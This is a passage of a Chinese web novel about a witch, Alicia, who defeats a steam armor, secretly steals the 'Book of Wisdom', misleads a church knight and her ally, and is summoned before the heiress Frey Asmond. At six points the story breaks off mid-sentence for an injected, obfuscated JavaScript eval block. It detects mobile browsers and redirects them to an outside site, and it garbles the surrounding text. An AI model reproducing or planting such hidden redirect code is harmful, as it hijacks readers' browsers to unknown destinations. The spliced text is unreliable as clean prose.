艾莉西亚在原地站着没动,等着它飞过来。铁甲眨眼而至,那硕大的拳头如果砸中艾莉西亚的脑袋,她当场就会脑袋开花。 然而就在铁甲飞过来,距离艾莉西亚只有一米的时候,艾莉西亚长吸一口气,铁甲背后持续喷吐蒸汽的装置骤然被分离,而整个盔甲如同失去了动力一般,“轰”一声砸到地上,接着整个盔甲像是一块被烧红的烙铁一半,持续升温,很快温度就高到熏人的程度。 原来她搞掉的是散热装置,艾莉西亚还以为那个那个凸出来的玩意儿是锅炉所在。 艾莉西亚隔着斗篷擦擦额头的冷汗,后腰的伤口还在隐隐作痛,她缓了一口气,考虑着要不要把铁甲内部的活扣焊死算了,下一秒,铁甲后背倏然打开,一个人影弹了出去。 艾莉西亚不顾上懊恼自己动手太慢,立刻挥舞魔杖上前,出发前她还可以换了一根普通的魔杖。 但那个人在飞出去的时候蓦地抬头,一张被高温烫得通红的面皮突然出现,他的五官依稀可见,但皮肤颜色呈现出表皮被加热后熟透了的浅红色,有的地方还因为高温变质而呈现出松垮褶皱的情况。 即使如此,艾莉西亚还是认出了这个人,阿尔瓦雷斯·司佩,那个把她拒于魔法交易市场门外的小心眼家伙。 这个念头在脑子里闪了一下,打蛇不死反受其害,魔法塔那个帕斯卡教训在前,艾莉西亚不敢再冒险。就当她魔杖指向司佩时,不知道从哪里涌出大量的河水,河水巨浪翻滚,冲力极大,直将艾丽西亚冲得东倒西歪。 等这一阵浪头过去,整个书房除了一地水渍,埃诺里和司佩早就跑掉了。 艾莉西亚连忙跑到传送阵那里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14607473|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但没有任何意外,传送阵已经不能用了。 艾莉西亚气得一脚踹到那个被留下来的铁甲上,然而错过就是错过了,没想到埃诺里已经惨成那个样子,还能使用魔法。 虽然艾莉西亚割喉的时候为了《智慧之书》没有下死手,但经历过几次大型魔法,她应该消耗得差不多了,没想好她还留了一手。 而且她被艾莉西亚抓住都能忍着,可信心形之坚韧,难怪她能成为黑塔的代言人。 从这个层面上来说,艾莉西亚还挺佩服她的。 书房里突然出现这么多水,外面该知道的都知道了,过不了多久巡夜者肯定要过来,艾莉西亚抓紧时间把德蒙卡萨弄醒。 她指着那个铁甲说,“虽然人跑了,《智慧之书》也没拿到,但你有东西回去交差了。” 德蒙卡萨摸着胸口艰难爬起来,他忍不住捂嘴咳嗽起来,不多一会儿指间就溢出鲜血。 他脸色惨白,神情凝重,“这就是黑塔的底牌?” 艾莉西亚心说不一定是黑塔的,说不定是阿斯蒙德伯爵的,但这个事不好说,艾莉西亚就当不知道了。 匆忙之间,艾莉西亚检查了一下铁甲内部,也不知道哪个神经病设计的,锅炉竟然就贴在背上,只把散热装置做成外凸的,这不是明摆着让穿铁甲的人当敢死队吗?散热装置掉了没关系,还能再坚持一下,反正只要达到目标就行,至于里面的人最后是逃出来了还是被活生生烤熟了,那就只能听天由命了。 真缺德啊。 “那么,我们的合作就此结束,对吧?”趁着德蒙卡萨把铁甲放进储蓄卷轴中,艾莉西亚说。 德蒙卡萨皱着眉,他没有回答艾莉西亚的话,而是问,“铁甲少了一个装置,那拿走了它,对吗?切斯特小姐。” 此时门外人声喧嚣,书房突发大水让不少人投来关注的目光。 艾莉西亚在他逼问的目光中板起脸,“你什么意思?明明埃诺里拿走的!她还说铁甲不能被别人知道,要我们两个人都去死,不过我运气比较好,她没得逞,所以她们逃跑的时候带走了最重要的装置。” 71. 进击的女巫12 德蒙卡萨一时间分不清楚艾莉西亚说的是否是实话。 从蒸汽铁甲内部残留的人体组织可以推测,穿这套铁甲装置的人是在危急时刻放弃了它,而且那个人的伤势非常严重,以至于只能选择逃生;埃诺里的洪水魔法是相当耗费魔力,以她的身体情况,很难说她还会不会有力气去抢救一个散热装置。 那个散热装置的切割痕迹明显,除了魔法,德蒙卡萨想不出还有什么办法能做到。 艾莉西亚盯住德蒙卡萨的眼睛,一个单词一个单词地往外蹦,“你在怀疑我,对吗?” 胸腔的疼痛让人烦躁,蒸汽铁甲杀伤力惊人,德蒙卡萨感觉自己的每一次呼吸都像是在折磨他可怜的肋骨。他不知道该不该相信艾莉西亚,只能选择沉默。 “哈,你竟然怀疑我!”艾莉西亚明显气得不轻,她伸出手,作势要去抢夺德蒙卡萨手里的空间卷轴,“既然你是这样看待我的,那我凭什么要背负不存在的罪名?蒸汽铁甲你别要了,自己去找埃诺里拿回智慧之书吧。” 德蒙卡萨不得不伸长胳膊,把卷轴举起来,让艾莉西亚没办法抢到。 他强忍着胸腔的剧烈痛感,安抚艾莉西亚,“切斯特小姐,我向你道歉,我不应该怀疑你,但你听,巡夜者已经到两个街道外了,我们再不离开,就会成为袭击伯爵府与黑塔联络人的凶手。” 艾莉西亚双手抱胸,脸上仍有不忿,“我无所谓啊,反正我只是被来自教廷的审判官胁迫的可怜流浪-女巫而已。” 德蒙卡萨还想说什么,但话未出口,便剧烈地咳嗽起来,咳着咳着就咳出血。 艾莉西亚只好搀扶起他,两人避开人群,悄无声息地离开埃诺里的豪宅,德蒙卡萨打算叫一个出租马车,艾莉西亚阻止了她,她口中发出一阵鸟叫声,一辆马车从街角拐了出来。 马车的驾驶座上坐着个身材高大的车夫,马车夫穿着斗篷。 艾莉西亚扶着德蒙卡萨上去,和车夫说,“亲爱的,麻烦绕着城内跑一圈,再去教堂的后门。” 德蒙卡萨听闻她甜蜜的声音,表情忽地扭曲了一下。艾莉西亚以为他的伤势加重了,立刻靠近他,想要用魔力帮助他缓解。 但德蒙卡萨拒绝了。他是教廷高阶骑士,深受光明神的眷顾,使用魔力很难达到效果,只能请教堂的神职人员帮忙治疗。 既然德蒙卡萨不愿意,艾莉西亚也没有坚持。 马车在空荡荡的街道行驶,两人之间陷入沉默。 德蒙卡萨没有问艾莉西亚什么时候准备的马车,更没问马车夫是谁,马车在城内乱逛,经过教堂后门的时候,艾莉西亚直接把穿着隐形斗篷的德蒙卡萨推了出去。这个过程中,马车几乎没有减速。 德蒙卡萨敲开了教堂后门的门,西尔维斯特帮他把门打开,德蒙卡萨问,“你老师呢?” “他刚刚被巴尔纳叫走了。” …… 马车又在路上跑了一圈,停在一个人烟罕至的角落,马车夫从驾驶座上下来,露出了藏在帽子下的脸,正是米亚·约克。 艾莉西亚穿着隐形斗篷出来,顺手给了米亚一件,米亚接过来,却没有立刻穿上,“你利用我?” 米亚在艾莉西亚离开后,很快追了上去,但她并没有跟上艾莉西亚。就在她以为自己会错过时,米亚在衣服的口袋里找到了一张纸条,上面写着个地址,附注“如若前往,请找一辆安全的马车”,落款“永远会坦诚待你的、忠诚的,艾莉”。 米亚当即就把纸条捏碎了。 艾莉西亚挑挑眉,心说你才反应过来。 但嘴上却说,“不,亲爱的,我是在帮你解除心中的疑惑。要知道我们的合作是建立在信任之上的,如果你对我有所怀疑却得不到答案,这会让我们渐行渐远,最好的结果是和平拆伙,但最坏的结果,却是两败俱伤。那么,亲爱的,你现在能相信我了吗?” 米亚眯起眼盯着她,“我怎么知道那个圣骑士是不是和你一起来骗我?”她的手握着剑柄,时刻戒备着。 经历过恶魔制造的惨案,米亚心里很清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14618507|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚,对艾莉西亚的信任是一回事,而对恶魔的不信任,又是另一回事了。 艾莉西亚像是没看到她紧绷的肌肉一样,她从斗篷的兜袋里摸出一个盒子,打开,展现在米亚面前,“瞧瞧这是什么?” 借着微弱的月光,米亚看清楚了盒子里面的东西,那是一本散发着古老气息的羊皮书,用古代精灵语书写的“智慧之书”几个单词赫然出现在上面。 艾莉西亚一看到埃诺里掏出那个盒子她就知道自己的机会来了,果然,为了保护它,埃诺里一定会选择把它提前传送走,而在书被丢进传送阵、传送阵又没有启动的空隙,就是艾莉西亚的机会。 那本书看起来是想要阻止它离开,实际上是为了制造阴影,艾莉西亚通过阴影拿到了它,在场的人没有一个人发现。 至于有没有泄露那么一星半点儿的恶魔气息……这就要感谢埃诺里了。她费尽心机从教廷把这本书偷出来,难道是为了瞻仰光明神的光辉? 那当然不可能。 很显然,埃诺里也打上了恶魔的主意。而且,从《智慧之书》被拿出来那一刻艾莉西亚就知道,她一定没少研究。 这种情况下,一点恶魔气息外泄,德蒙卡萨怀疑不到艾莉西亚头上。并且埃诺里回去之后,发现《智慧之书》根本没被传送过去,她首先会怀疑是不是艾莉西亚的干预导致传送阵出了问题,而不是艾莉西亚偷走了它。 真遗憾,没有机会看到埃诺里发现书不见了的表情,那一定很精彩吧。 月光下,米亚愕然地看着艾莉西亚,她全没想到艾莉西亚今天表现得如此孤注一掷,离开前要钱就是以交代后事的口吻,而她如此郑重其事,竟然是为了这个? 一时间,米亚不知道说什么好。 艾莉西亚盖上盖子,云淡风轻地说,“这就是我今天的收获了,希望它能让你对我有多一点信心。” 米亚抖开隐形斗篷,严厉地说,“我会盯着你的。一旦你被恶魔蛊惑得失去了理智,我会毫不犹豫砍下你的脑袋!” 72. 进击的巫女13 巴尔纳赶到埃诺里的豪宅时,书房除了一地的狼藉,什么也没留下。 他其中一个下属仔细观察了天花板上的窟窿和书柜上凹陷的人形形状,心中暗暗吃惊,他很难想象是怎样的存在,才会拥有如此强大的力量。 这或许是个极为高阶的骑士吧。 巴尔纳在脚背高的水中走来走去,不知道在想什么。 另一个下属根据艾莉西亚和德蒙卡萨留下的脚印,追踪到街口,脚印被车辙代替,他立刻跑来和巴尔纳报告结果,巴尔纳瞪着他,“找到线索你不去找?蠢货!” 下属不知道上司为什么突然暴躁,什么话都不敢说,立刻跑去调查走访。 第二日一早,熬了一夜的巴尔纳正在听下属汇报,“……我们在一个废弃的巷子里找到了那辆车,歹徒遗弃了它,上面的痕迹被消除得很干净,车子的轨迹遍布小半个城市,知道它被遗弃,我们也没有发现歹徒的目的地……” 巴尔纳疲惫地揉了揉太阳穴,一个晚上的熬夜还不至于让骑士如此疲惫,让他感到棘手的是埃诺里那个麻烦的女人。 黎明十分,埃诺里通过渠道联络他,巴尔纳这才知道情况如此严重,竟然是从教廷里来了两个刺客,一男一女,并且这个男刺客已经在卡斯塔尼亚蛰伏一段时间,对此,巴尔纳竟然一无所知。 这时候去责怪埃诺里隐瞒情报显然是很不理智的事,毕竟那女人能活下来,就是个好消息。 然而这不是事情的全部,埃诺里显然还有很多事没有说,巴尔纳有预感,将来麻烦不会少。 心不在焉地听完下属的汇报,巴尔纳让其他人离开,独留下阿克莱特,他没有拐弯抹角,直接问道,“哈罗德,你有什么要和我说的吗?” 哈罗德·阿克莱特骑士难得心虚,他避开巴尔纳的目光,闭口不言。 巴尔纳气得要爆炸,他的胸腔一起衣服,显然在强行按捺自己的脾气。 “哈罗德,我当你是兄弟,如果你能记得我的帮助,告诉我那个来自教廷的家伙在哪里,否则,我只能抓让你去面对来自芙蕾阁下的盛怒了。” 然而阿克莱特这种人大多数时候吃软不吃硬,少数时候软硬不吃,巴尔纳软硬兼施,却还是无法从他嘴里撬出自己想要的信息。 正当他焦头烂额的时候,下属过来说,“切斯特小姐来了。” 艾莉西亚?她来做什么? 巴尔纳心中疑惑,却见阿克莱特神清略有松动。 巴尔纳心里一动,阿克莱特和艾莉西亚的关系巴尔纳已经知道了,当年正是阿克莱特的帮助,才让艾莉西亚有机会从魔法塔脱身,而阿克莱特这些年没少关照她,想来对这个死犟死犟的圣骑士而言,艾莉西亚应该有着不一样的意义。 让她来劝劝呢? 这样想着,巴尔纳不再跟阿克莱特废话,直接摔门离开了。他也没有让人守在门口,反正以阿克莱特的性格,他不会就这么跑掉的。 艾莉西亚一看到巴尔纳,立刻热情洋溢地迎上去,“巴尔纳阁下,您瞧,我为你带来了什么——一整箱新造的附魔弩箭,请找人验货开支票吧。” 巴尔纳随便找了个人来验货,皮笑肉不笑地和艾莉西亚说,“这么殷勤地过来,切斯特小姐不只是为了支票吧?” 艾莉西亚目光四处梭巡,并不怎么走心地敷衍,“阁下这话是什么意思?我的父亲惹了那么大麻烦,我再不努力赚钱,难道要我看着家里破产?” 巴尔纳脸色一沉,“要问什么赶紧问,问完我找你有事。” 艾莉西亚眼珠子一转,露出点狡黠,“好吧,这可是您主动要求的——那个来自黑塔的女巫是死了吗?” 巴尔纳眼皮狂跳,“你胡说什么?” 艾莉西亚说,“外面早就传开了,昨晚她豪宅的吊灯砸死了一个贵族,书房还诡异地往外涌出大量的水,大家都在说她人没了呢。” 巴尔纳拽着她的胳膊把人拖到一个不引人注意的角落,他居高零下,冷笑着盯视艾莉西亚,“外面都在传,谁在传?你告诉我,我会把他丢进监狱。” 艾莉西亚撇撇嘴,“反正是有人在传,我怎么知道源头消息在哪里?” 巴尔纳,“你是不是让人盯着她了?” 艾莉西亚眼睛乱瞟,“你不要乱说。” 巴尔纳低声威胁,“切斯特小姐!” 艾莉西亚,“好吧!我是让人盯着她怎么了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630682|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?我就是想报复她怎么了?她差点害死我妹妹,我找她算账有什么问题?”义愤填膺地发泄一通后,她话音一转,“——所以她到底死没死?谁干的这事?” 巴尔纳惊讶于艾莉西亚的直白,这样子看起来倒是有点附和她的年纪了。不过考虑到阿克莱特对艾莉西亚的照顾,恐怕连那家伙都不知道艾莉西亚这样恶劣的一面吧。 这时候巴尔纳不敢让艾莉西亚去劝说阿克莱特了,他认为艾莉西亚真见了阿克莱特,事情绝不会向着自己期望的方向发展。 看起来,要抓到从教廷总部来的审判官和战斗修女,需要从别的地方入手了。 事实上从巡夜者对这座城市的把控,难以一旦公开抓捕,这两人的活动空间会被立刻压缩,最后,只有一个地方能找到他们,那就是教堂。 然而教堂是整个领地法外之地,没有上级的允许,巴尔纳不可能轻易进去抓人,这就是巴尔纳明知道阿克莱特性格倔强,也想要从他身上得到消息的原因——有了阿克莱特的证词,可以合法地进入教堂。 只是一旦开始全程追捕,会不会把人放跑了呢? 一个硬币必然有两面,关键在如何取舍。 巴尔纳心里其实已有决定,这会儿再看艾莉西亚,便不认为她是能帮忙的帮手,而是会给自己的工作增加阻碍的累赘。 他丢下一句,“切斯特小姐,我劝你管好自己的好奇心,不要去了解你不需要知道的事情,那会给你带来你想象不到的灾难,明白吗?” 艾莉西亚追在他身后不肯放弃,“我可以给你们总价5%的折扣,巴尔纳阁下,我只需要一个答案。” 艾莉西亚越是这样说,巴尔纳越怕她掺和进来,他催促会计把支票拿给艾莉西亚,把人给轰走了。 艾莉西亚拿着支票,面上愤愤不平不依不饶,心里简直要笑翻了。难怪犯罪心理学研究结果表明,凶手喜欢回到案发现场关上,这种事情,的确很让人高兴。 就在艾莉西亚离开巡夜者小队大门的时候,一个身穿制服的青年军官骑着马抵达门口,他一落地就往里面冲,找到巴尔纳,“阁下,芙蕾大人想要见你。” 巴尔纳知道,真正的麻烦来了。 73. 进击的女巫14 艾莉西亚坐上马车,让马车夫去医院,贝斯和皮尔还在医院住着,虽然有丽塔大婶和唐娜他们照顾,但艾莉西亚不去看看总是挂心。 还有罗德,小姑娘才回来,也不知道晚上有没有做噩梦。 艾莉西亚心情好,便放松了对赫默修斯的管制。 恶魔好奇地问,“那个家伙身上的味道很奇怪……他信仰哪个神明?” 恶魔看起来并不介意艾莉西亚拿到了《智慧之书》,祂完全没有在在阴影中对那本书动手脚,似乎一点也不在意艾莉西亚用《智慧之书》把祂送回深渊。 “信仰?巴尔纳没有信仰,如果非要说信仰谁,阿斯蒙德伯爵领的骑士信仰的应该是他们的领主。” “这听起来很不可思议,女巫,我从未听说骑士们可以摆脱神明独自进阶。” 艾莉西亚,“那么你今天就听到了,惊喜吧?这就是现世啊,还记得昨晚那个可怕的钢铁战士吗?这是科学与魔法的力量,人类靠着自己摆脱了对神明的依赖。” 恶魔的笑声在艾莉西亚脑海里回荡,“我该夸赞你的天真吗?摆脱神明的依赖,你或许不知道,深渊最后一道防线,建筑在神明的遗蜕之上。” 这已经涉及到艾莉西亚的知识盲区了,但输人不输阵,艾莉西亚犀利指出,“一个没有经受骑士训练的术士穿上铁甲就能轻松把一个高阶圣骑士揍趴下,我认为,未来人类使用魔法建筑新的深渊防线,也不是不可能的事。” 恶魔说,“如果你没有让光明神的走狗带走那个盔甲。” 说到这里,艾莉西亚就要给恶魔科普一下,“魔法与科技的结合拥有着强大的生命力,它可能会遭遇阻碍,但它的出现本身是符合客观规律,有着不可抵挡的前进趋势。就像千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654676|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年前的光明教廷,在那时的恶魔之战中,光明教廷有着无可替代的先进性,它的出现统一了各自为战的人类,争取到人类在现世的绝对统治权。” 恶魔不知道是被说服了,还是完全不屑一顾,祂没有再与艾莉西亚辩论。艾莉西亚倒是觉得这家伙应该不会无的放矢,可巴尔纳他们真的有信仰吗? 这要是传出去了,那可是完完全全站在了光明教廷的对立面上,要是沃华德那边稍微不要脸一点,他们就能借着圣战的名义直接对阿斯蒙德伯爵领开战。 不过,恶魔的话也不能全信,谁知道祂是不是选择性坦诚呢? 就在此时,马车突然一个急刹,艾莉西亚忙撑住座椅稳住心神,才坐稳,车门被打开,一张带着狰狞刀疤的面孔伸了进来,“下车,跟我去伯爵府。” 艾莉西亚吓了一跳,难道自己的身份暴露了? 74. 进击的女巫15 艾莉西亚按捺住心虚,她坐着不动,板着脸不高兴的说,“去干嘛?不去。” 巴尔纳只觉得头痛,心想年轻人就是这样让人恼火,情绪不稳,一点无关紧要的小事她都能记恨上。 他不得不改变主意,让下属牵着他的马走,自己坐上马车。 狭窄的马车内突然挤进来这么个庞然大物,艾莉西亚的脸色更臭了。但她这已经反应过来,不是她的事暴露了,否则巴尔纳不可能这么客气。 果然,巴尔纳坐在艾莉西亚对面,敲敲车壁让马车夫赶紧走,他对艾莉西亚说,“芙蕾阁下要见你。” 艾莉西亚双手抱胸,露出玩味的表情,“哦,是吗?我最大的投资人要见我,你来做什么?” 巴尔纳没兴趣哄她,“让你去就去,不要废话。” 艾莉西亚看他一副不和无理取闹的女人计较的态度,心里觉得好笑。 这大约是某些男人的通病,面子永远排在第一。 在艾莉西亚成为他的武器供货商前,这家伙的态度有多高傲就有多高傲,而当他发现艾莉西亚是女巫之后,利用价值上去之后,他的态度立刻有了质的变化,但饶是如此,招揽艾莉西亚的时候仍然表现出恩赐一样的姿态。 刚才也是,艾莉西亚稍微拒绝了一下,他就立刻放弃骑马,选择坐上马车和艾莉西亚一起去伯爵府,然而言语上一定要占上风,决不能落于艾莉西亚之下。 艾莉西亚能看出来,巴尔纳是认为艾莉西亚不配让他平等对待,这可能源于她是女性,也可能源于她流浪-女巫的身份,又或者二者兼有。 毕竟艾莉西亚是看到他如何对待埃诺里,也能从他言谈之间对芙蕾·阿斯蒙德的尊重。 马车飞快地驶向伯爵府,艾莉西亚的心绪因巴尔纳的不公平对待变得烦躁。 这股郁气来得猛烈,她盯着巴尔纳看了两眼,越看越难受,很想抽出魔杖给他来几下,让他知道自己厉害,让他还敢小看自己。 但理智尚在,艾莉西亚强忍不平,推开马车窗户,逼着自己转移视线,去看道路两旁的风景。 马车的速度很快,此时已经进入伯爵府所在的区域,这一片全是达官贵族的宅邸,街道两旁的房屋面积都不算大,但大门修建得豪华气派,这些可恶的权贵为了彰显身份,恨不得把国王王冠上的宝石扣下来镶嵌在自家大门上,再树一块牌子专门介绍——这是来自国王皇冠上的宝石。 当然,目前还没谁家有实力这么干,但依照这些宅邸的豪华程度,如果有这样的机会,他们一定不会放过。 这些虚荣的权贵们啊,啧啧啧啧! 想到他们抢夺国王王冠的滑稽墨阳,艾莉西亚不禁勾起嘴角,嘴角勾到一半,她的表情僵在那里,她刚刚为什么会那么生气?巴尔纳的态度不是一直如此,她怎么突然—— 然而艾莉西亚没有时间细想,马车已经停在伯爵府大门,巴尔纳先下车,他朝艾莉西亚伸出一只手,他眉头皱着,表情有些不耐烦,但态度绅士。 艾莉西亚眼睛盯着那只粗糙的宽大手掌,她愣了片刻,才将自己的手放上去。 “听着,我不管你对我有什么不满,但在芙蕾阁下面前,你最好给我老实点,明白吗?”两人并排往伯爵府走,巴尔纳低声威胁。很显然,巴尔纳敏锐的感知已经发现了艾莉西亚在马车上时突然冒出来的恶意。 他以为艾莉西亚还因为埃诺里的事对自己不满,他怕艾莉西亚乱话说,提前敲打一番。 艾莉西亚从自己的思绪中醒过神来,她扬起商务笑容,“当然,巴尔纳阁下,我是你的武器顾问,不是吗?” 收拾好心中的疑虑,艾莉西亚打起精神,配合着巴尔纳的步伐,两人齐头并进,看起来十分和谐,好像真是关系良好的合作伙伴。 仍旧是芙蕾·阿斯蒙德的书房。 女继承人埋头于书案,不过这次陪伴她的不是汉斯梅尔夫人,而是另一个人,这个人也是艾莉西亚的老熟人,葛利斯·谢尔夫,那个差点在斯图尔特展示工坊出产的汽车时差点弄死艾莉西亚的家伙,事后艾莉西亚也没让他好过,她往他身上弄了不少汽化的燃料,这家伙在回城点了一支烟,差点就能去见光明神了。 后来艾莉西亚被恶魔信徒卡西尼埋伏,这件事导致了艾莉西亚女巫身份暴露,在巡夜者的监狱中,谢尔夫跳出来给巴尔纳施压,要求他清算艾莉西亚,可惜巴尔纳很缺一个全心全意为巡夜者服务的女巫,威胁他不要捞过界。 谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673988|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔夫愤然离开。 艾莉西亚不会天真地以为谢尔夫就这么化干戈为玉帛了,老实说,换做是艾莉西亚,也可能会让这件事就这么轻易过去。当时不动手,不过是因为没有合适的机会而已。 果然,艾莉西亚进到书房,她和谢尔夫的目光对上,她从他的目光中看到了深深的恶意,和十足的幸灾乐祸。 艾莉西亚嘴角忍不住一抽。 这家伙说是来自沃华德的术士,实际上却像个草包,捞偏门捞到老板的钱袋子里面去了,竟然被一个大学教授收买。 艾莉西亚当时不敢暴露女巫身份所以隐忍不发,现在她怕什么?这家伙竟然还敢当面挑衅,也不知道他脑子里在想什么。 难道真的是因为过于草包,才让芙蕾·阿斯蒙德放心留在身边? 艾莉西亚想起那些关于女继承人的花边新闻,她不露声色地觑了一眼谢尔夫的样貌,的确,这家伙卖相极佳,他五官漂亮,头发浓密,身材是标准的倒三角,宽肩窄腰大长腿。 空穴来风未必无因啊…… 芙蕾·阿斯蒙德听到两人的脚步声,她却没有放下手里的公务,而是像什么都没发生一般,把两个人晾在那里。 好了,这是个下马威。 艾莉西亚对此心知肚明,就是不知道是针对谁的,或者两个人都有份? 不过,女继承人这个态度,艾莉西亚反而放下心,上位者驭下之术,要用才会打压,如果真的没有用得上艾莉西亚的地方,阿斯蒙德女士根本不会抽出这个时间来见她。 艾莉西亚想通了这一点,便沉下心,耐心十足地等待时间的流逝。 而相比艾莉西亚的平和,巴尔纳就显得紧张许多。这个比艾莉西亚高出许多的壮硕大汉,在书房沉默的氛围中,额头上渐渐冒出细密的汗珠。 “阁下,”巴尔纳紧张地关注着阿斯蒙德女士的动作,在她看完一份文件的空隙,开口引起她的关注,“我想向您汇报昨晚发生在埃诺里女士家中被歹人闯入的线索。” 手原本伸向另一份文件的阿斯蒙德女士停下动作,“说。”她的声音看似平常,感觉不出有什么情绪,但就是有一股让人不自觉低头的压迫感迎面而来,这让艾莉西亚都感觉到压力。 75. 进击的女巫16 艾莉西亚瞄到巴尔纳额头冷汗往下流,这样一个高大的骑士在看似瘦削的女人面前,比家里养的小猫还乖。 巴尔纳始终不敢抬头,“我们已经找到凶徒的下落,只是以我们的权限,无法抓人。” 芙蕾眼神犀利,“你想说光明神的教堂?” “是的。” “证据呢?” “埃诺里曾经两度遇刺,第一次重伤凶徒,但凶徒出现时身手毫无影响,由此可知他得到了极好的治疗和照顾。阁下,全城的医生都在巡夜者的监控下,近期也没有来自黑塔的擅长治疗的女巫,据埃诺里所言,凶徒受伤严重,很难在没有就医的情况下自行恢复,且他曾自报家门来自南方教廷,那么他的选择只有教堂的神职人员。” “这只是你的推测,我需要证据。” 巴尔纳抬起头,直视芙蕾,“阁下,这是一个很好的机会,只需要您给予巡夜者许可。” 阿斯蒙德伯爵建设领地之初,得到圣骑士银行的大力支持,这些年尽管教廷的力量在不断萎缩,但教堂一直是一块法外之地,没有伯爵领两位最高统治者的许可,谁也不敢轻易踏足。 而这,也是巴尔纳意识到刺客藏身于教堂,而不能去教堂抓人的原因。 当初艾莉西亚火烧庄园,现场没有遗留有效线索,而作为受害者的埃诺里装傻充愣,不愿意暴露《智慧之书》的存在,巴尔纳根本不知道凶徒是谁,那个案子一直是个悬案。 现在埃诺里在家里差点被人弄死,司佩也遭了殃,还暴露了铁甲,这件事已经大到无法掩盖,埃诺里立刻把锅全甩给巴尔纳,她向芙蕾告状,说巴尔纳办事不利,让她招致两次刺杀。 芙蕾当然也知道埃诺里私下另有打算,然而巴尔纳与圣骑士阿克莱特交好,这让她也不能过于维护巴尔纳,因而才有给巴尔纳施压的一幕。 不过,巴尔纳不是全无城府,他这么说也不全是将决策的压力推回给芙蕾,他主要想借此试探芙蕾的态度,如果芙蕾打算拔除光明神的教堂,那他就可以直接动手;反之,他就要考虑一下动手的方式了。 芙蕾身体略微前倾,目光仍带有相当的压迫感,“如果你能拿出证据,这会是个好机会——我记得那个被流放来卡斯塔尼亚的圣骑士就住在教堂,他在为你工作,对吗?” 巴尔纳说,“哈罗德很固执,他会为他的信仰付出生命。”意思是出卖教堂的事等于背叛信仰,哈罗德死也不会开口。 芙蕾淡淡笑了一笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14700302|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她身边的谢尔夫抓住机会,阴阳怪气地说,“光明神的信仰归光明神,但这是卡斯塔尼亚,光明神的光辉可照耀不到这里。我听说巴尔纳你与阿克莱特的关系不错,难道你对阁下的忠诚不足以令你放弃和那个圣骑士的友谊?” 那神情,那姿态,活脱脱皇帝身边的狗腿子太监。 艾莉西亚在短短时间内看到了两个大人物过招,这时候再看谢尔夫,就能透过他那阴险的表情,看到了一些别的东西。 巴尔纳对芙蕾恭敬,但对谢尔夫,可就没那么客气了。 “如果笼络强大的圣骑士和你闯入巡夜者大门一样容易,那么我将不会有任何顾忌。” 他在向芙蕾表明,自己与哈罗德的关系还是以公事为主。毕竟强大的骑士在伯爵领虽然不稀罕,但完全属于芙蕾·阿斯蒙德的骑士很稀罕。 